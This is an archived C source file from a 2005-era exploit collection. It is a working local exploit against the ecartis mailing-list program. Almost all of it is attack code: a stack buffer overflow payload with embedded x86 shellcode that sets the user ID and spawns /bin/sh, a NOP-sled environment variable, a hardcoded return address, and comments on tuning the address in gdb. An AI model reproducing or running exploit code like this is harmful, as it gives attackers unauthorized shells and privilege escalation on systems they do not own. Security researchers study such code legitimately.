home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / ecartis / ecartisx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  119 lines

  1. /* 
  2.  * /home/ecartis/ecartis
  3.  *
  4.  * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
  5.  * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
  6.  * Shellcode created by r0z / Promisc (r0z@promisc.org)
  7.  * 
  8.  * This exploit was developed on the Snosoft vulnerability research machines
  9.  *
  10.  * - The Itch
  11.  * - itchie@promisc.org
  12.  *
  13.  * - Technical details concerning the exploit -
  14.  * 
  15.  * 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line
  16.  *    (996 to overwrite ebp, 1000 to overwrite eip).
  17.  * 2) The code string with the return address will be unaligned.
  18.  * 3) Shellcode will try to do a setreuid(508);
  19.  *
  20.  * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
  21.  * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
  22.  * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
  23.  * in gdb, type: run $RET
  24.  * The program will probably then segfault, then type: x/200x $esp and press enter a couply of times
  25.  * until you see alot of 0x90909090. Then pick on of those address and replace it with the 
  26.  * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun the exploit. 
  27.  *
  28.  */
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32.  
  33. #define DEFAULT_EGG_SIZE 2048
  34. #define NOP 0x90
  35. #define DEFAULT_BUFFER_SIZE 1000
  36.  
  37.  
  38. /* setreuid(508); execve("/bin/sh", "sh", 0); (c) r0z@promisc.org */
  39. char shellcode[] =
  40.          "\x31\xdb"              /* xor   %ebx, %ebx     */
  41.          "\x31\xc9"              /* xor   %ecx, %ecx     */
  42.          "\xf7\xe3"              /* mul   %ebx           */
  43.          "\xb0\x46"              /* mov   $0x46, %al     */
  44.          "\x66\xbb\xfc\x01"      /* mov   $0x1fc, %bx    */
  45.          "\x49"                  /* dec   %ecx           */
  46.          "\xcd\x80"              /* int   $0x80          */
  47.          "\x31\xd2"              /* xor   %edx, %edx     */
  48.          "\x52"                  /* push  %edx           */
  49.          "\x68\x6e\x2f\x73\x68"  /* push  $0x68732f6e    */
  50.          "\x68\x2f\x2f\x62\x69"  /* push  $0x69622f2f    */
  51.          "\x89\xe3"              /* mov   %esp, %ebx     */
  52.          "\x52"                  /* push  %edx           */
  53.          "\x53"                  /* push  %ebx           */
  54.          "\x89\xe1"              /* mov   %esp, %ecx     */
  55.          "\x6a\x0b"              /* pushl $0xb           */
  56.          "\x58"                  /* pop   %eax           */
  57.          "\xcd\x80";             /* int   $0x80          */
  58.  
  59. int main(int argc, char *argv[])
  60. {
  61.         char *buff;
  62.         char *egg;
  63.         char *ptr;
  64.         long *addr_ptr;
  65.         long addr;
  66.         int bsize = DEFAULT_BUFFER_SIZE;
  67.         int eggsize = DEFAULT_EGG_SIZE;
  68.         int i;
  69.     int get_sp = 0xbffff550;
  70.     
  71.         if(argc > 1) { bsize = atoi(argv[1]); }
  72.  
  73.         if(!(buff = malloc(bsize)))
  74.         {
  75.                 printf("unable to allocate memory for %d bytes\n", bsize);
  76.                 exit(1);
  77.         }
  78.  
  79.         if(!(egg = malloc(eggsize)))
  80.         {
  81.                 printf("unable to allocate memory for %d bytes\n", eggsize);
  82.                 exit(1);
  83.         }
  84.     
  85.     printf("/home/ecartis/ecartis\n");
  86.     printf("Vulnerability found by KF / http://www.snosoft.com\n");
  87.         printf("Coded by The Itch / http://www.promisc.org\n\n");
  88.         printf("Using return address: 0x%x\n", get_sp);
  89.         printf("Using buffersize    : %d\n", bsize);
  90.  
  91.     /* alignment */
  92.         ptr = buff + 2;
  93.  
  94.         addr_ptr = (long *) ptr;
  95.         for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
  96.  
  97.         ptr = egg;
  98.         for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
  99.         {
  100.                 *(ptr++) = NOP;
  101.         }
  102.  
  103.         for(i = 0; i < strlen(shellcode); i++)
  104.         {
  105.                 *(ptr++) = shellcode[i];
  106.         }
  107.  
  108.         egg[eggsize - 1] = '\0';
  109.         memcpy(egg, "EGG=", 4);
  110.     putenv(egg);
  111.     buff[bsize - 1] = '\0';
  112.     memcpy(buff, "RET=", 4);
  113.     putenv(buff);
  114.     system("/home/ecartis/ecartis $RET");
  115. //    system("/bin/bash");
  116.  
  117.         return 0;
  118. }
  119.